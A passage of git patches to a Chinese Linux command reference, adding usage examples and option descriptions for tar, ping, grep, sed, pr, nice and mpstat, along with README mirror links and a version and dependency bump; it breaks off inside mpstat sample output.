Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From d7f7b46ea1bf48f66b509c6cd69f4ba8c29ed285 Mon Sep 17 00:00:00 2001 From: Zhang Zijing <50045289+pluveto@users.noreply.github.com> Date: Tue, 26 Jul 2022 21:03:43 +0800 Subject: [PATCH 0508/1019] Update tar.md (#391) --- command/tar.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/command/tar.md b/command/tar.md index 8df4df116cd..e321304124e 100644 --- a/command/tar.md +++ b/command/tar.md @@ -322,6 +322,12 @@ tar [选项...] [FILE]... ### 实例 +将 `/home/vivek/bin/` 目录打包，并使用 gzip 算法压缩。保存为 `/tmp/bin-backup.tar.gz` 文件。 + +``` +tar -zcvf /tmp/bin-backup.tar.gz /home/vivek/bin/ +``` + ```shell - z：有gzip属性的 - j：有bz2属性的 From 5db620e1dd5d91f95b8d46219c5f408c3eca51c9 Mon Sep 17 00:00:00 2001 From: James Wang <62491424+james-wangx@users.noreply.github.com> Date: Sun, 31 Jul 2022 22:49:43 +0800 Subject: [PATCH 0509/1019] Update ping.md (#393) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 添加 -w 超时秒数 --- command/ping.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/ping.md b/command/ping.md index a9679eead84..1163b292f65 100644 --- a/command/ping.md +++ b/command/ping.md @@ -30,6 +30,7 @@ ping(选项)(参数) -s<数据包大小>：设置数据包的大小； -t<存活数值>：设置存活数值TTL的大小； -v：详细显示指令的执行过程。 +-w<超时秒数>：无论之前发送或接受了多少包，只要超过此秒数，程序退出； ``` ### 参数 From b6227d7635b4a3956e5824ca89b31dc70c20d566 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Wed, 3 Aug 2022 18:26:07 +0800 Subject: [PATCH 0510/1019] =?UTF-8?q?=E4=BF=AE=E6=94=B9grep=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E4=B8=AD=E7=9A=84=E5=81=8F=E7=A7=BB=E9=94=99=E5=88=AB?= =?UTF-8?q?=E5=AD=97=20(#394)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/grep.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/grep.md b/command/grep.md index f16b017da3e..2fd54ef2c8b 100644 --- a/command/grep.md +++ b/command/grep.md @@ -141,7 +141,7 @@ grep "text" -n file_1 file_2 ```shell echo gun is not unix | grep -b -o "not" 7:not -#一行中字符串的字符便宜是从该行的第一个字符开始计算，起始值为0。选项 **-b -o** 一般总是配合使用。 +#一行中字符串的字符偏移是从该行的第一个字符开始计算，起始值为0。选项 **-b -o** 一般总是配合使用。 ``` 搜索多个文件并查找匹配文本在哪些文件中： From a6a05826ddf9bcb2b7099ae5fa4f0cf476311197 Mon Sep 17 00:00:00 2001 From: lutixiaya <48750425+lutixiaya@users.noreply.github.com> Date: Thu, 4 Aug 2022 10:32:47 +0800 Subject: [PATCH 0511/1019] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=20sed=20=E4=BD=BF?= =?UTF-8?q?=E7=94=A8=E6=96=B9=E6=B3=95=20(#395)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/sed.md | 73 +++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 72 insertions(+), 1 deletion(-) diff --git a/command/sed.md b/command/sed.md index 487656faac5..949cde4b185 100644 --- a/command/sed.md +++ b/command/sed.md @@ -216,6 +216,38 @@ love被标记为1，所有loveable会被替换成lovers，并打印出来： sed -n 's/\(love\)able/\1rs/p' file ``` +通过替换获取ip： +```shell +ifconfig ens32 | sed -n '/inet /p' | sed 's/inet \([0-9.]\+\).*/\1/' +192.168.75.126 +``` + +### 大小写转换U/L +```shell +\u： 首字母转换为大写 +\U： 全部转换为大写 +\l： 首字母转换为小写 +\L： 全部转换为小写 +``` + +首字母转换为大写： +```shell +[root@node6 ~]# sed 's/^[a-z]\+/\u&/' passwd +Root:x:0:0:root:/root:/bin/bash +Bin:x:1:1:bin:/bin:/sbin/nologin +Daemon:x:2:2:daemon:/sbin:/sbin/nologin +Adm:x:3:4:adm:/var/adm:/sbin/nologin +Lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin +Sync:x:5:0:sync:/sbin:/bin/sync +``` + +匹配到的字符全部转换为大写： +```shell +[root@node6 ~]# sed 's/^[a-z]\+/\U&/' passwd +ROOT:x:0:0:root:/root:/bin/bash +BIN:x:1:1:bin:/bin:/sbin/nologin +``` + ### 组合多个表达式 ```shell @@ -315,6 +347,38 @@ sed '/^test/i\this is a test line' file ```shell sed -i '5i\this is a test line' test.conf ``` +### 替换指定行：c\命令 +把root开头的行替换新内容： +```shell +[root@node6 ~]# sed '/^root/c this is new line!' passwd +this is new line! +bin:x:1:1:bin:/bin:/sbin/nologin +``` + +如果是指定范围替换，需要注意，sed不是每行进行替换，而是把整个范围作为整体替换： +```shell +[root@node6 ~]# nl passwd | sed '1,5c\ this is dangerous!' + this is dangerous! + 6 sync:x:5:0:sync:/sbin:/bin/sync + 7 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown +``` +如果想实现对第一行到第五行统一替换为相同内容，可以用下面的命令实现： +```shell +[root@node5 ~]# sed '1{:a;s/.*/lutxixia/;n;6!ba}' passwd +lutxixia +lutxixia +lutxixia +lutxixia +lutxixia +sync:x:5:0:sync:/sbin:/bin/sync + +其中： +:a 是设置一个循环标签 +s/.*/lutixia/ 是用lutixia字符替换匹配到的每行内容 +n 是读取下一行 +6! 是读到第六行退出循环，终止操作,如果没有，则继续循环。 +ba 是如果没有到第六行就跳转到a继续循环 +``` ### 下一个：n命令 @@ -334,12 +398,19 @@ sed '1,10y/abcde/ABCDE/' file ### 退出：q命令 -打印完第10行后，退出sed +打印完前10行后，退出sed: ```shell sed '10q' file ``` +直到找到第一个匹配项，退出sed： +```shell +[root@node4 ~]# sed '/nginx/q' nginx.yml +--- +- hosts: nginx +``` + ### 保持和获取：h命令和G命令 在sed处理文件的时候，每一行都被保存在一个叫模式空间的临时缓冲区中，除非行被删除或者输出被取消，否则所有被处理的行都将 打印在屏幕上。接着模式空间被清空，并存入新的一行等待处理。 From 4ffc63dc756b2171dc4eb0d6ab57f273025b44a3 Mon Sep 17 00:00:00 2001 From: HighScorePlayer <59147099+HighScorePlayer@users.noreply.github.com> Date: Thu, 11 Aug 2022 08:37:01 +0800 Subject: [PATCH 0512/1019] Update pr.md (#396) --- command/pr.md | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/command/pr.md b/command/pr.md index 9721f0f75db..35c8e637b53 100644 --- a/command/pr.md +++ b/command/pr.md @@ -16,8 +16,31 @@ pr(选项)(参数) ### 选项 ```shell +-e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>)：将制表符（或制表符）转换为空格.如果指定了宽度，则将制表符转换为宽度字符，默认为8; -h<标题>：为页指定标题； --l<行数>：指定每页的行数。 +-i(--output-tabs)：在输出中用制表符替换空格，可以指定替代制表符(默认为制表符)和宽度(默认为8)； +-l<行数>：指定每页的行数； +-n<分隔符[数字]>：对列进行编号，或者使用 -m 选项对行进行编号，将分隔符附加到每个数字默认为制表符并限制数字的大小，默认为5； +-o<宽度>：为左边距设置宽度； +-s<分隔符>(--separator<分隔符>)：使用指定的分隔符（默认为制表符）而不是空格分隔列； +-S<字符串>(--sep-string<字符串>)：使用指定的字符串（默认为-J的制表符）或者是一个空格分隔列； +-w<页面宽度>：设置页面宽度以进行多列输出，默认为72； +-W<页面宽度>：设置页面宽度为固定值，默认为72； +-J(--join-lines)：合并整行，忽略 -W 如果设置; +-num_cols：num_cols是一个整数，为一页有n行的文件打印指定num_cols列； +-m(--merge)：打印所有文件，每列一个文件。 +-f(-F)(--form-feed)：用换页符替代换行符； +-r(--no-file-warnings)：无法打开输入文件时静默； +-t：限制页眉,页脚与页尾的填充； +-T(--omit-pagination)：类似于-t,但也限制换页； +-v(--show-non-printing)：将不可打印的字符转换为八进制反斜杠格式； +-d：双倍行距； +-a(--across)：交错打印，即水平打印，而非纵向打印； +-c(--show-control-chars)：将控制字符转换为帽子符号（例如 ^C），将其他不可打印的字符转换为八进制反斜杠格式； +--help：打印帮助信息并退出； +--version：打印版本信息并退出. + + ``` ### 参数 From 935c63f4a4a62e4a1c7eec55aa6071de9ef7a727 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 11 Aug 2022 13:44:46 +0800 Subject: [PATCH 0513/1019] released v1.10.2 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 87263b8067d..0470763bf00 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.10.1", + "version": "1.10.2", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From aaf5966458a7471bd21ecd9cdcd1f3f727908e4a Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 11 Aug 2022 14:18:31 +0800 Subject: [PATCH 0514/1019] doc: Update README.md --- README.md | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 53ccf611ef9..4d157217407 100644 --- a/README.md +++ b/README.md @@ -31,11 +31,17 @@ [![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261829-ce830300-d529-11eb-8cea-a39059b972dd.gif)](https://jaywcjlove.github.io/linux-command/) -你可以随意部署 web 版，这非常简单，只需要克隆 [`gh-pages`](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。 +你可以随意部署 web 版，这非常简单，只需要克隆 [`gh-pages`](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。还可以使用下方 docker 方法部署 web 版。 ⚠️ 你们拿过去部署的静态网站，还是希望挂个 GitHub 地址，这样大家共同维护命令文档，让文档更加完善，更加丰富，当然你删除本站所有信息相关信息，其实我也不太在意，默认允许你们随意搞，我不负任何负责。如果您也部署了一份，可以将网址放到下面 :)。 -[`linux.devonline.net`](http://linux.devonline.net/)，[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`bqrdh.com`](https://tools.bqrdh.com/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.mmoke.com`](https://linux.mmoke.com), [`luojianjun.cn`](https://luojianjun.cn/linux-command/), [`man.zch.ooo`](https://man.zch.ooo/) +**推荐使用的镜像 web 版本** + +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) + +**其它 web 版本** + +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/), [`luojianjun.cn`](https://luojianjun.cn/linux-command/) ### 微信小程序版本 From 4e98340517d87f401b0e96af5a6b90aa9795ed54 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Sat, 13 Aug 2022 13:54:20 +0800 Subject: [PATCH 0515/1019] chore(deps): update dependency stylus to ~0.59.0 (#397) --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index 0470763bf00..068e1d045d2 100644 --- a/package.json +++ b/package.json @@ -34,7 +34,7 @@ "markdown-to-html-cli": "~3.4.1", "sitemap-generator": "~8.5.1", "sqlite3": "5.0.8", - "stylus": "~0.58.0", + "stylus": "~0.59.0", "uglify-js": "~3.16.0" }, "engines": { From 1c7e476ebb96f1590ead86c43ec51e3de19cea9b Mon Sep 17 00:00:00 2001 From: James Wang <62491424+james-wangx@users.noreply.github.com> Date: Mon, 15 Aug 2022 07:56:25 +0800 Subject: [PATCH 0516/1019] Update nice.md (#399) --- command/nice.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/command/nice.md b/command/nice.md index e5a56ba25a1..36ffd54c6dd 100644 --- a/command/nice.md +++ b/command/nice.md @@ -1,22 +1,23 @@ nice === -改变程序执行的优先权等级 +调整程序执行的优先权等级 ## 补充说明 -**nice命令** 用于以指定的进程调度优先级启动其他的程序。 +**nice命令** 用于调整进程调度优先级启动其他的程序。 + ### 语法 ```shell -nice(选项)(参数) +nice [选项] [命令 [参数]...] ``` ### 选项 ```shell --n：指定进程的优先级（整数）。 +-n：指定nice值（整数，-20（最低）~19（最高））。 ``` ### 参数 @@ -31,10 +32,10 @@ nice(选项)(参数) nice -19 tar zcf pack.tar.gz documents ``` -方法非常简单，即在原命令前加上`nice -19`。很多人可能有疑问了，最低优先级不是19么？那是因为这个“-19”中的“-”仅表示参数前缀；所以，如果希望将当前目录下的documents目录打包，并且赋予tar进程最高的优先级： +方法非常简单，即在原命令前加上`nice -19`。很多人可能有疑问了，最低优先级不是19么？那是因为这个“-19”中的“-”仅表示参数前缀；所以，如果希望将当前目录下的documents目录打包，并且赋予tar进程最高的优先级就应该加上`nice --20`： ```shell -nice --19 tar zcf pack.tar.gz documents +nice --20 tar zcf pack.tar.gz documents ``` From b5718e1644e6bee6cf2b5be629502a1afbeddeae Mon Sep 17 00:00:00 2001 From: James Wang <62491424+james-wangx@users.noreply.github.com> Date: Mon, 15 Aug 2022 10:08:09 +0800 Subject: [PATCH 0517/1019] Update mpstat.md (#400) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1、更新的mpstat版本 2、新增%guest和%gnice两个表头的含义 3、跟新mpstat案例和输出 4、修正部分拼写错误 参考：http://sebastien.godard.pagesperso-orange.fr/man_mpstat.html --- command/mpstat.md | 121 +++++++++++++++++++++++++++++----------------- 1 file changed, 77 insertions(+), 44 deletions(-) diff --git a/command/mpstat.md b/command/mpstat.md index d44a6d0a687..d4a89e0108a 100644 --- a/command/mpstat.md +++ b/command/mpstat.md @@ -5,12 +5,12 @@ mpstat ## 补充说明 -**mpstat命令** 指令主要用于多CPU环境下，它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里，其不但能查看所有CPU的平均状况信息，而且能够查看特定CPU的信息。 +**mpstat命令** 主要用于多CPU环境下，它显示各个可用CPU的状态信息。这些信息存放在`/proc/stat`文件中。在多CPUs系统里，其不但能查看所有CPU的平均状况信息，而且能够查看特定CPU的信息。 ### 语法 ```shell -mpstat(选项)(参数) +mpstat [选项] [<间隔时间> [<次数>]] ``` ### 选项 @@ -21,17 +21,20 @@ mpstat(选项)(参数) ### 参数 -* 间隔时间：每次报告的间隔时间（秒）； -* 次数：显示报告的次数。 +- 间隔时间：每次报告的间隔时间（秒）； +- 次数：显示报告的次数。 ### 表头含义 -* %user：表示处理用户进程所使用 CPU 的百分比。 -* %nice：表示使用 nice 命令对进程进行降级时 CPU 的百分比。 -* %system：表示内核进程使用的 CPU 百分比。 -* iowait：表示等待进行I/O所占用CPU时间百分比。 -* irq：表示用于处理系统中断的CPU百分比。 -* soft：表示用于处理软件中断的CPU百分比。 -* idle：CPU的空闲时间百分比。 +- %user：表示处理用户进程所使用CPU的百分比。 +- %nice：表示在用户级别处理经nice降级的程序所使用CPU的百分比。 +- %system：表示内核进程使用的CPU百分比。 +- %iowait：表示等待进行I/O所占用CPU时间百分比。 +- %irq：表示用于处理系统中断的CPU百分比。 +- %soft：表示用于处理软件中断的CPU百分比。 +- %steal：在管理程序为另一个虚拟处理器服务时，显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比。 +- %guest：表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比。 +- %gnice：表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比。 +- %idle：CPU的空闲时间百分比。 ### 实例 @@ -39,65 +42,95 @@ mpstat(选项)(参数) ```shell mpstat -Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005 -09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s -09:38:48 AM all 23.28 0.00 1.75 0.50 0.00 0.00 74.47 1018.59 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU) + +04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89 ``` - **每2秒产生了2个处理器的统计数据报告：** + **每2秒产生了全部处理器的统计数据报告：** -下面的命令可以每2秒产生了2个处理器的统计数据报告，一共产生三个interval 的信息，然后再给出这三个interval的平均信息。默认时，输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。 +下面的命令可以每2秒产生全部处理器的统计数据报告，一共产生三个interval的信息，最后再给出这三个interval的平均信息。默认时，输出是按照CPU号排序。第一个行给出了2秒内所有处理器使用情况。接下来每行对应一个处理器使用情况。 ```shell mpstat -P ALL 2 3 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -09:34:20 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -09:34:22 PM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 1001.49 -09:34:22 PM 0 0.00 0.00 0.50 0.00 0.00 0.00 0.00 99.50 1001.00 -09:34:22 PM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 0.00 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:32:43 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:45 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:45 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:45 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:47 AM all 0.00 0.00 0.12 0.00 0.00 0.12 0.00 0.00 0.00 99.75 +09:32:47 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:47 AM 1 0.00 0.00 0.50 0.00 0.00 0.00 0.00 0.00 0.00 99.50 +09:32:47 AM 2 0.00 0.00 0.00 0.00 0.00 0.50 0.00 0.00 0.00 99.50 +09:32:47 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +09:32:47 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:32:49 AM all 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 1 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 2 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +09:32:49 AM 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 + +Average: CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +Average: all 0.00 0.00 0.04 0.00 0.00 0.04 0.00 0.00 0.00 99.92 +Average: 0 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 +Average: 1 0.00 0.00 0.17 0.00 0.00 0.00 0.00 0.00 0.00 99.83 +Average: 2 0.00 0.00 0.00 0.00 0.00 0.17 0.00 0.00 0.00 99.83 +Average: 3 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 100.00 ``` **比较带参数和不带参数的mpstat的结果：** -在后台开一个2G的文件 +对localhost进行压力测试 ```shell -cat 1.img & +ping -f localhost ``` 然后在另一个终端运行mpstat命令 ```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:31 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:31 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.40 1004.57 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:34:20 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:20 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` +上文说到：当mpstat不带参数时，输出为从系统启动以来的平均值，所以这看不出什么变化。 + ```shell mpstat -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:35 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:35 PM all 0.07 0.02 0.25 0.21 0.01 0.04 0.00 99.39 1004.73 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/15/2022 _x86_64_ (4 CPU) + +09:34:40 AM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +09:34:40 AM all 0.03 0.00 0.07 0.00 0.00 0.02 0.00 0.00 0.00 99.88 ``` +只有加上间隔时间才能显示某一段时间CPU的使用情况 + ```shell mpstat 3 10 -Linux 2.6.18-164.el5 (server.sys.com) 01/04/2010 -10:17:55 PM CPU %user %nice %sys %iowait %irq %soft %steal %idle intr/s -10:17:58 PM all 13.12 0.00 20.93 0.00 1.83 9.80 0.00 54.32 2488.08 -10:18:01 PM all 10.82 0.00 19.30 0.83 1.83 9.32 0.00 57.90 2449.83 -10:18:04 PM all 10.95 0.00 20.40 0.17 1.99 8.62 0.00 57.88 2384.05 -10:18:07 PM all 10.47 0.00 18.11 0.00 1.50 8.47 0.00 61.46 2416.00 -10:18:10 PM all 11.81 0.00 22.63 0.00 